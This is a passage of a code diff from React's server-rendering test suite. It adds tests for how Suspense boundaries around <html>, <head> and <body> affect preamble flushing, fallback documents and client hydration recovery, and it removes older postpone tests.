+            <BlockedOn value="html">
+              <html lang="en">
+                <head>
+                  <meta itemProp="" content="non-floaty meta" />
+                </head>
+                <body>
+                  <div>hello world</div>
+                </body>
+              </html>
+            </BlockedOn>
+          </Suspense>
+          <Suspense fallback="this fallback never renders">
+            <div>after</div>
+          </Suspense>
+        </>
       );
     }
 
-    const errors = [];
-    function onError(error) {
-      errors.push(error);
-    }
-    const postpones = [];
-    function onPostpone(reason) {
-      postpones.push(reason);
-    }
-    const result = await renderToPipeableStream(<App />, {onError, onPostpone});
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
     await act(() => {
-      result.pipe(writable);
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady: () => {
+          shellReady = true;
+        },
+      });
+      pipe(writable);
     });
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        <p>
-          <span>Loading again...</span>
-        </p>
-        <p>
-          <span>Loading again...</span>
-        </p>
-      </div>,
-    );
+    // When we Suspend above the body we block the shell because the root HTML scope
+    // is considered "reconciliation" mode whereby we should stay on the prior view
+    // (the prior page for instance) rather than showing the fallback (semantically)
+    expect(shellReady).toBe(true);
+    expect(content).toBe('');
 
-    let postponeInstance;
-    try {
-      React.unstable_postpone('manufactured');
-    } catch (p) {
-      postponeInstance = p;
-    }
     await act(() => {
-      result.abort(postponeInstance);
+      resolveText('html');
     });
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(getVisibleChildren(document)).toEqual(
+      <html lang="en">
+        <head>
+          <meta itemprop="" content="non-floaty meta" />
+        </head>
+        <body>
+          <div>before</div>
+          <div>hello world</div>
+          <div>after</div>
+        </body>
+      </html>,
+    );
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        <p>
-          <span>Loading again...</span>
-        </p>
-        <p>
-          <span>Loading again...</span>
-        </p>
-      </div>,
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html lang="en">
+        <head>
+          <meta itemprop="" content="non-floaty meta" />
+        </head>
+        <body>
+          <div>before</div>
+          <div>hello world</div>
+          <div>after</div>
+        </body>
+      </html>,
     );
 
-    expect(errors).toEqual([]);
-    expect(postpones).toEqual(['manufactured', 'manufactured']);
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
   });
 
-  // @gate enablePostpone
-  it('fatally errors if you abort with a postpone in the shell during resume', async () => {
-    let prerendering = true;
-    const promise = new Promise(r => {});
-
-    function Wait() {
-      return React.use(promise);
-    }
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return (
-        <span>
-          <Suspense fallback="Loading again...">
-            <Wait />
-          </Suspense>
-        </span>
-      );
-    }
-
-    function PostponeInShell() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return <span>in shell</span>;
+  it('can render Suspense before, after, and around <body>', async () => {
+    function BlockedOn({value, children}) {
+      readText(value);
+      return children;
     }
 
     function App() {
       return (
-        <div>
-          <PostponeInShell />
-          <Suspense fallback="Loading...">
-            <p>
-              <Postpone />
-            </p>
-            <p>
-              <Postpone />
-            </p>
+        <html>
+          <Suspense fallback="this fallback never renders">
+            <meta content="before" />
+            <meta itemProp="" content="before" />
           </Suspense>
-        </div>
+          <Suspense fallback="this fallback never renders">
+            <BlockedOn value="body">
+              <body lang="en">
+                <div>hello world</div>
+              </body>
+            </BlockedOn>
+          </Suspense>
+          <Suspense fallback="this fallback never renders">
+            <meta content="after" />
+            <meta itemProp="" content="after" />
+          </Suspense>
+        </html>
       );
     }
 
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
 
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
+    let shellReady = false;
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+      });
+      pipe(writable);
     });
 
+    expect(shellReady).toBe(true);
+    expect(content).toBe('');
+
     await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      resolveText('body');
     });
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta content="before" />
+          <meta content="after" />
+        </head>
+        <body lang="en">
+          <meta itemprop="" content="before" />
+          <div>hello world</div>
+          <meta itemprop="" content="after" />
+        </body>
+      </html>,
+    );
 
-    expect(getVisibleChildren(container)).toEqual(undefined);
-
-    let postponeInstance;
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta content="before" />
+          <meta content="after" />
+        </head>
+        <body lang="en">
+          <meta itemprop="" content="before" />
+          <div>hello world</div>
+          <meta itemprop="" content="after" />
+        </body>
+      </html>,
+    );
+    assertConsoleErrorDev([
+      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
+      'In HTML, <meta> cannot be a child of <html>.\nThis will cause a hydration error.' +
+        '\n' +
+        '\n  <App>' +
+        '\n>   <html>' +
+        '\n      <Suspense fallback="this fallb...">' +
+        '\n        <meta>' +
+        '\n>       <meta itemProp="" content="before">' +
+        '\n      ...' +
+        '\n' +
+        '\n    in meta (at **)' +
+        '\n    in App (at **)',
+      '<html> cannot contain a nested <meta>.\nSee this log for the ancestor stack trace.' +
+        '\n    in html (at **)' +
+        '\n    in App (at **)',
+      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
+    ]);
+
+    await root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('can render Suspense before, after, and around <head>', async () => {
+    function BlockedOn({value, children}) {
+      readText(value);
+      return children;
+    }
+
+    function App() {
+      return (
+        <html>
+          <Suspense fallback="this fallback never renders">
+            <meta content="before" />
+            <meta itemProp="" content="before" />
+          </Suspense>
+          <Suspense fallback="this fallback never renders">
+            <BlockedOn value="head">
+              <head lang="en">
+                <meta itemProp="" />
+              </head>
+            </BlockedOn>
+          </Suspense>
+          <Suspense fallback="this fallback never renders">
+            <meta content="after" />
+            <meta itemProp="" content="after" />
+          </Suspense>
+          <body>
+            <div>hello world</div>
+          </body>
+        </html>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toBe('');
+
+    await act(() => {
+      resolveText('head');
+    });
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head lang="en">
+          <meta content="before" />
+          <meta content="after" />
+          <meta itemprop="" />
+        </head>
+        <body>
+          <meta itemprop="" content="before" />
+          <meta itemprop="" content="after" />
+          <div>hello world</div>
+        </body>
+      </html>,
+    );
+
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head lang="en">
+          <meta content="before" />
+          <meta content="after" />
+          <meta itemprop="" />
+        </head>
+        <body>
+          <meta itemprop="" content="before" />
+          <meta itemprop="" content="after" />
+          <div>hello world</div>
+        </body>
+      </html>,
+    );
+    assertConsoleErrorDev([
+      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
+      'In HTML, <meta> cannot be a child of <html>.\nThis will cause a hydration error.' +
+        '\n' +
+        '\n  <App>' +
+        '\n>   <html>' +
+        '\n      <Suspense fallback="this fallb...">' +
+        '\n        <meta>' +
+        '\n>       <meta itemProp="" content="before">' +
+        '\n      ...' +
+        '\n' +
+        '\n    in meta (at **)' +
+        '\n    in App (at **)',
+      '<html> cannot contain a nested <meta>.\nSee this log for the ancestor stack trace.' +
+        '\n    in html (at **)' +
+        '\n    in App (at **)',
+      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
+    ]);
+
+    await root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('will render fallback Document when erroring a boundary above the body and recover on the client', async () => {
+    let serverRendering = true;
+    function Boom() {
+      if (serverRendering) {
+        throw new Error('Boom!');
+      }
+      return null;
+    }
+
+    function App() {
+      return (
+        <Suspense
+          fallback={
+            <html data-error-html="">
+              <body data-error-body="">
+                <span>hello error</span>
+              </body>
+            </html>
+          }>
+          <html data-content-html="">
+            <body data-content-body="">
+              <Boom />
+              <span>hello world</span>
+            </body>
+          </html>
+        </Suspense>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    const errors = [];
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+        onError(e) {
+          errors.push(e);
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(errors).toEqual([new Error('Boom!')]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-error-html="">
+        <head />
+        <body data-error-body="">
+          <span>hello error</span>
+        </body>
+      </html>,
+    );
+
+    serverRendering = false;
+
+    const recoverableErrors = [];
+    const root = ReactDOMClient.hydrateRoot(document, <App />, {
+      onRecoverableError(err) {
+        recoverableErrors.push(err);
+      },
+    });
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-content-html="">
+        <head />
+        <body data-content-body="">
+          <span>hello world</span>
+        </body>
+      </html>,
+    );
+    expect(recoverableErrors).toEqual([
+      __DEV__
+        ? new Error(
+            'Switched to client rendering because the server rendering errored:\n\nBoom!',
+          )
+        : new Error(
+            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
+          ),
+    ]);
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('will hoist resources and hositables from a primary tree into the <head> of a client rendered fallback', async () => {
+    let serverRendering = true;
+    function Boom() {
+      if (serverRendering) {
+        throw new Error('Boom!');
+      }
+      return null;
+    }
+
+    function App() {
+      return (
+        <>
+          <meta content="hoistable before" />
+          <link rel="stylesheet" href="hoistable before" precedence="default" />
+          <Suspense
+            fallback={
+              <html data-error-html="">
+                <head data-error-head="">
+                  {/* we have to make this a non-hoistable because we don't current emit
+                      hoistables inside fallbacks because we have no way to clean them up
+                      on hydration */}
+                  <meta itemProp="" content="error document" />
+                </head>
+                <body data-error-body="">
+                  <span>hello error</span>
+                </body>
+              </html>
+            }>
+            <html data-content-html="">
+              <body data-content-body="">
+                <Boom />
+                <span>hello world</span>
+              </body>
+            </html>
+          </Suspense>
+          <meta content="hoistable after" />
+          <link rel="stylesheet" href="hoistable after" precedence="default" />
+        </>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    const errors = [];
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+        onError(e) {
+          errors.push(e);
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(errors).toEqual([new Error('Boom!')]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-error-html="">
+        <head data-error-head="">
+          <link
+            rel="stylesheet"
+            href="hoistable before"
+            data-precedence="default"
+          />
+          <link
+            rel="stylesheet"
+            href="hoistable after"
+            data-precedence="default"
+          />
+          <meta content="hoistable before" />
+          <meta content="hoistable after" />
+          <meta itemprop="" content="error document" />
+        </head>
+        <body data-error-body="">
+          <span>hello error</span>
+        </body>
+      </html>,
+    );
+
+    serverRendering = false;
+
+    const recoverableErrors = [];
+    const root = ReactDOMClient.hydrateRoot(document, <App />, {
+      onRecoverableError(err) {
+        recoverableErrors.push(err);
+      },
+    });
+    await waitForAll([]);
+    expect(recoverableErrors).toEqual([
+      __DEV__
+        ? new Error(
+            'Switched to client rendering because the server rendering errored:\n\nBoom!',
+          )
+        : new Error(
+            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
+          ),
+    ]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-content-html="">
+        <head>
+          <link
+            rel="stylesheet"
+            href="hoistable before"
+            data-precedence="default"
+          />
+          <link
+            rel="stylesheet"
+            href="hoistable after"
+            data-precedence="default"
+          />
+          <meta content="hoistable before" />
+          <meta content="hoistable after" />
+        </head>
+        <body data-content-body="">
+          <span>hello world</span>
+        </body>
+      </html>,
+    );
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <link
+            rel="stylesheet"
+            href="hoistable before"
+            data-precedence="default"
+          />
+          <link
+            rel="stylesheet"
+            href="hoistable after"
+            data-precedence="default"
+          />
+        </head>
+        <body />
+      </html>,
+    );
+  });
+
+  it('will attempt to render the preamble inline to allow rendering before a later abort in the same task', async () => {
+    const promise = new Promise(() => {});
+    function Pending() {
+      React.use(promise);
+    }
+
+    const controller = new AbortController();
+    function Abort() {
+      controller.abort();
+      return <Comp />;
+    }
+
+    function Comp() {
+      return null;
+    }
+
+    function App() {
+      return (
+        <html>
+          <head>
+            <meta content="here" />
+          </head>
+          <body>
+            <main>hello</main>
+            <Suspense>
+              <Pending />
+            </Suspense>
+            <Abort />
+          </body>
+        </html>
+      );
+    }
+
+    const signal = controller.signal;
+
+    let thrownError = null;
+    const errors = [];
     try {
-      React.unstable_postpone('manufactured');
-    } catch (p) {
-      postponeInstance = p;
+      await act(() => {
+        const {pipe, abort} = renderToPipeableStream(<App />, {
+          onError(e, ei) {
+            errors.push({
+              error: e,
+              componentStack: normalizeCodeLocInfo(ei.componentStack),
+            });
+          },
+        });
+        signal.addEventListener('abort', () => abort('boom'));
+        pipe(writable);
+      });
+    } catch (e) {
+      thrownError = e;
+    }
+
+    expect(thrownError).toBe('boom');
+    // TODO there should actually be three errors. One for the pending Suspense, one for the fallback task, and one for the task
+    // that does the abort itself. At the moment abort will flush queues and if there is no pending tasks will close the request before
+    // the task which initiated the abort can even be processed. This is a bug but not one that I am fixing with the current change
+    // so I am asserting the current behavior
+    expect(errors).toEqual([
+      {
+        error: 'boom',
+        componentStack: componentStack([
+          'Pending',
+          'Suspense',
+          'body',
+          'html',
+          'App',
+        ]),
+      },
+      {
+        error: 'boom',
+        componentStack: componentStack([
+          'Suspense Fallback',
+          'body',
+          'html',
+          'App',
+        ]),
+        // }, {
+        //   error: 'boom',
+        //   componentStack: componentStack(['Abort', 'body', 'html', 'App'])
+      },
+    ]);
+
+    // We expect the render to throw before streaming anything so the default
+    // document is still loaded
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="container" />
+        </body>
+      </html>,
+    );
+  });
+
+  it('Will wait to flush Document chunks until all boundaries which might contain a preamble are errored or resolved', async () => {
+    let rejectFirst;
+    const firstPromise = new Promise((_, reject) => {
+      rejectFirst = reject;
+    });
+    function First({children}) {
+      use(firstPromise);
+      return children;
+    }
+
+    let resolveSecond;
+    const secondPromise = new Promise(resolve => {
+      resolveSecond = resolve;
+    });
+    function Second({children}) {
+      use(secondPromise);
+      return children;
+    }
+
+    const hangingPromise = new Promise(() => {});
+    function Hanging({children}) {
+      use(hangingPromise);
+      return children;
+    }
+
+    function App() {
+      return (
+        <>
+          <Suspense fallback={<span>loading...</span>}>
+            <Suspense fallback={<span>inner loading...</span>}>
+              <First>
+                <span>first</span>
+              </First>
+            </Suspense>
+          </Suspense>
+          <Suspense fallback={<span>loading...</span>}>
+            <main>
+              <Second>
+                <span>second</span>
+              </Second>
+            </main>
+          </Suspense>
+          <div>
+            <Suspense fallback={<span>loading...</span>}>
+              <Hanging>
+                <span>third</span>
+              </Hanging>
+            </Suspense>
+          </div>
+        </>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    const errors = [];
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+        onError(e) {
+          errors.push(e);
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toBe('');
+
+    await act(() => {
+      resolveSecond();
+    });
+    expect(content).toBe('');
+
+    await act(() => {
+      rejectFirst('Boom!');
+    });
+    expect(content.length).toBeGreaterThan(0);
+    expect(errors).toEqual(['Boom!']);
+
+    expect(getVisibleChildren(container)).toEqual([
+      <span>inner loading...</span>,
+      <main>
+        <span>second</span>
+      </main>,
+      <div>
+        <span>loading...</span>
+      </div>,
+    ]);
+  });
+
+  it('Can render a fallback <head> alongside a non-fallback body', async () => {
+    let serverRendering = true;
+    function Boom() {
+      if (serverRendering) {
+        throw new Error('Boom!');
+      }
+      return null;
+    }
+
+    function App() {
+      return (
+        <html>
+          <Suspense
+            fallback={
+              <head data-fallback="">
+                <meta itemProp="" content="fallback" />
+              </head>
+            }>
+            <Boom />
+            <head data-primary="">
+              <meta itemProp="" content="primary" />
+            </head>
+          </Suspense>
+          <Suspense
+            fallback={
+              <body data-fallback="">
+                <div>fallback body</div>
+              </body>
+            }>
+            <body data-primary="">
+              <div>primary body</div>
+            </body>
+          </Suspense>
+        </html>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    const errors = [];
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+        onError(e) {
+          errors.push(e);
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(errors).toEqual([new Error('Boom!')]);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head data-fallback="">
+          <meta itemprop="" content="fallback" />
+        </head>
+        <body data-primary="">
+          <div>primary body</div>
+        </body>
+      </html>,
+    );
+
+    serverRendering = false;
+
+    const recoverableErrors = [];
+    const root = ReactDOMClient.hydrateRoot(document, <App />, {
+      onRecoverableError(err) {
+        recoverableErrors.push(err);
+      },
+    });
+    await waitForAll([]);
+    expect(recoverableErrors).toEqual([
+      __DEV__
+        ? new Error(
+            'Switched to client rendering because the server rendering errored:\n\nBoom!',
+          )
+        : new Error(
+            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
+          ),
+    ]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head data-primary="">
+          <meta itemprop="" content="primary" />
+        </head>
+        <body data-primary="">
+          <div>primary body</div>
+        </body>
+      </html>,
+    );
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('Can render a fallback <body> alongside a non-fallback head', async () => {
+    let serverRendering = true;
+    function Boom() {
+      if (serverRendering) {
+        throw new Error('Boom!');
+      }
+      return null;
+    }
+
+    function App() {
+      return (
+        <html>
+          <Suspense
+            fallback={
+              <head data-fallback="">
+                <meta itemProp="" content="fallback" />
+              </head>
+            }>
+            <head data-primary="">
+              <meta itemProp="" content="primary" />
+            </head>
+          </Suspense>
+          <Suspense
+            fallback={
+              <body data-fallback="">
+                <div>fallback body</div>
+              </body>
+            }>
+            <Boom />
+            <body data-primary="">
+              <div>primary body</div>
+            </body>
+          </Suspense>
+        </html>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    const errors = [];
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+        onError(e) {
+          errors.push(e);
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+    expect(errors).toEqual([new Error('Boom!')]);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head data-primary="">
+          <meta itemprop="" content="primary" />
+        </head>
+        <body data-fallback="">
+          <div>fallback body</div>
+        </body>
+      </html>,
+    );
+
+    serverRendering = false;
+
+    const recoverableErrors = [];
+    const root = ReactDOMClient.hydrateRoot(document, <App />, {
+      onRecoverableError(err) {
+        recoverableErrors.push(err);
+      },
+    });
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head data-primary="">
+          <meta itemprop="" content="primary" />
+        </head>
+        <body data-primary="">
+          <div>primary body</div>
+        </body>
+      </html>,
+    );
+    expect(recoverableErrors).toEqual([
+      __DEV__
+        ? new Error(
+            'Switched to client rendering because the server rendering errored:\n\nBoom!',
+          )
+        : new Error(
+            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
+          ),
+    ]);
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('Can render a <head> outside of a containing <html>', async () => {
+    function App() {
+      return (
+        <>
+          <Suspense>
+            <html data-x="">
+              <body data-x="">
+                <span>hello world</span>
+              </body>
+            </html>
+          </Suspense>
+          <head data-y="">
+            <meta itemProp="" />
+          </head>
+        </>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head data-y="">
+          <meta itemprop="" />
+        </head>
+        <body data-x="">
+          <span>hello world</span>
+        </body>
+      </html>,
+    );
+
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head data-y="">
+          <meta itemprop="" />
+        </head>
+        <body data-x="">
+          <span>hello world</span>
+        </body>
+      </html>,
+    );
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('can render preamble tags in deeply nested indirect component trees', async () => {
+    function App() {
+      return (
+        <Html>
+          <DocumentMetadata />
+          <Main />
+        </Html>
+      );
+    }
+
+    let loadLanguage;
+    const langPromise = new Promise(r => {
+      loadLanguage = r;
+    });
+    function Html({children}) {
+      return (
+        <Suspense fallback={<FallbackHtml>{children}</FallbackHtml>}>
+          <MainHtml>{children}</MainHtml>
+        </Suspense>
+      );
+    }
+    function FallbackHtml({children}) {
+      return <html lang="default">{children}</html>;
+    }
+    function MainHtml({children}) {
+      const lang = use(langPromise);
+      return <html lang={lang}>{children}</html>;
+    }
+
+    let loadMetadata;
+    const metadataPromise = new Promise(r => {
+      loadMetadata = r;
+    });
+    function DocumentMetadata() {
+      return (
+        <Suspense fallback={<FallbackDocumentMetadata />}>
+          <MainDocumentMetadata />
+        </Suspense>
+      );
+    }
+    function FallbackDocumentMetadata() {
+      return (
+        <head data-fallback="">
+          <meta content="fallback metadata" />
+        </head>
+      );
+    }
+    function MainDocumentMetadata() {
+      const metadata = use(metadataPromise);
+      return (
+        <head data-main="">
+          {metadata.map(m => (
+            <meta content={m} key={m} />
+          ))}
+        </head>
+      );
+    }
+
+    let loadMainContent;
+    const mainContentPromise = new Promise(r => {
+      loadMainContent = r;
+    });
+    function Main() {
+      return (
+        <Suspense fallback={<Skeleton />}>
+          <PrimaryContent />
+        </Suspense>
+      );
+    }
+    function Skeleton() {
+      return (
+        <body data-fallback="">
+          <div>Skeleton UI</div>
+        </body>
+      );
+    }
+    function PrimaryContent() {
+      const content = use(mainContentPromise);
+      return (
+        <body data-main="">
+          <div>{content}</div>
+        </body>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    const errors = [];
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+        onError(e) {
+          errors.push(e);
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toBe('');
+
+    await act(() => {
+      loadLanguage('es');
+    });
+    expect(content).toBe('');
+
+    await act(() => {
+      loadMainContent('This is soooo cool!');
+    });
+    expect(content).toBe('');
+
+    await act(() => {
+      loadMetadata(['author', 'published date']);
+    });
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html lang="es">
+        <head data-main="">
+          <meta content="author" />
+          <meta content="published date" />
+        </head>
+        <body data-main="">
+          <div>This is soooo cool!</div>
+        </body>
+      </html>,
+    );
+
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html lang="es">
+        <head data-main="">
+          <meta content="author" />
+          <meta content="published date" />
+        </head>
+        <body data-main="">
+          <div>This is soooo cool!</div>
+        </body>
+      </html>,
+    );
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('will flush the preamble as soon as a complete preamble is available', async () => {
+    function BlockedOn({value, children}) {
+      readText(value);
+      return children;
+    }
+
+    function App() {
+      return (
+        <>
+          <Suspense fallback="loading before...">
+            <div>
+              <AsyncText text="before" />
+            </div>
+          </Suspense>
+          <Suspense fallback="loading document...">
+            <html>
+              <body>
+                <div>
+                  <AsyncText text="body" />
+                </div>
+              </body>
+            </html>
+          </Suspense>
+          <Suspense fallback="loading head...">
+            <head>
+              <BlockedOn value="head">
+                <meta content="head" />
+              </BlockedOn>
+            </head>
+          </Suspense>
+          <Suspense fallback="loading after...">
+            <div>
+              <AsyncText text="after" />
+            </div>
+          </Suspense>
+        </>
+      );
+    }
+
+    let content = '';
+    writable.on('data', chunk => (content += chunk));
+
+    let shellReady = false;
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onShellReady() {
+          shellReady = true;
+        },
+      });
+      pipe(writable);
+    });
+
+    expect(shellReady).toBe(true);
+    expect(content).toBe('');
+
+    await act(() => {
+      resolveText('body');
+    });
+    expect(content).toBe('');
+
+    await act(() => {
+      resolveText('head');
+    });
+    expect(content).toMatch(/^<!DOCTYPE html>/);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta content="head" />
+        </head>
+        <body>
+          loading before...
+          <div>body</div>
+          loading after...
+        </body>
+      </html>,
+    );
+
+    const root = ReactDOMClient.hydrateRoot(document, <App />);
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta content="head" />
+        </head>
+        <body>
+          loading before...
+          <div>body</div>
+          loading after...
+        </body>
+      </html>,
+    );
+
+    await act(() => {
+      resolveText('before');
+      resolveText('after');
+    });
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta content="head" />
+        </head>
+        <body>
+          <div>before</div>
+          <div>body</div>
+          <div>after</div>
+        </body>
+      </html>,
+    );
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('will clean up the head when a hydration mismatch causes a boundary to recover on the client', async () => {
+    let content = 'server';
+
+    function ServerApp() {
+      return (
+        <Suspense>
+          <html data-x={content}>
+            <head data-x={content}>
+              <meta itemProp="" content={content} />
+            </head>
+            <body data-x={content}>{content}</body>
+          </html>
+        </Suspense>
+      );
+    }
+
+    function ClientApp() {
+      return (
+        <Suspense>
+          <html data-y={content}>
+            <head data-y={content}>
+              <meta itemProp="" name={content} />
+            </head>
+            <body data-y={content}>{content}</body>
+          </html>
+        </Suspense>
+      );
+    }
+
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<ServerApp />);
+      pipe(writable);
+    });
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="server">
+        <head data-x="server">
+          <meta itemprop="" content="server" />
+        </head>
+        <body data-x="server">server</body>
+      </html>,
+    );
+
+    content = 'client';
+
+    const recoverableErrors = [];
+    const root = ReactDOMClient.hydrateRoot(document, <ClientApp />, {
+      onRecoverableError(err) {
+        recoverableErrors.push(err.message);
+      },
+    });
+    await waitForAll([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-y="client">
+        <head data-y="client">
+          <meta itemprop="" name="client" />
+        </head>
+        <body data-y="client">client</body>
+      </html>,
+    );
+    expect(recoverableErrors).toEqual([
+      expect.stringContaining(
+        "Hydration failed because the server rendered text didn't match the client.",
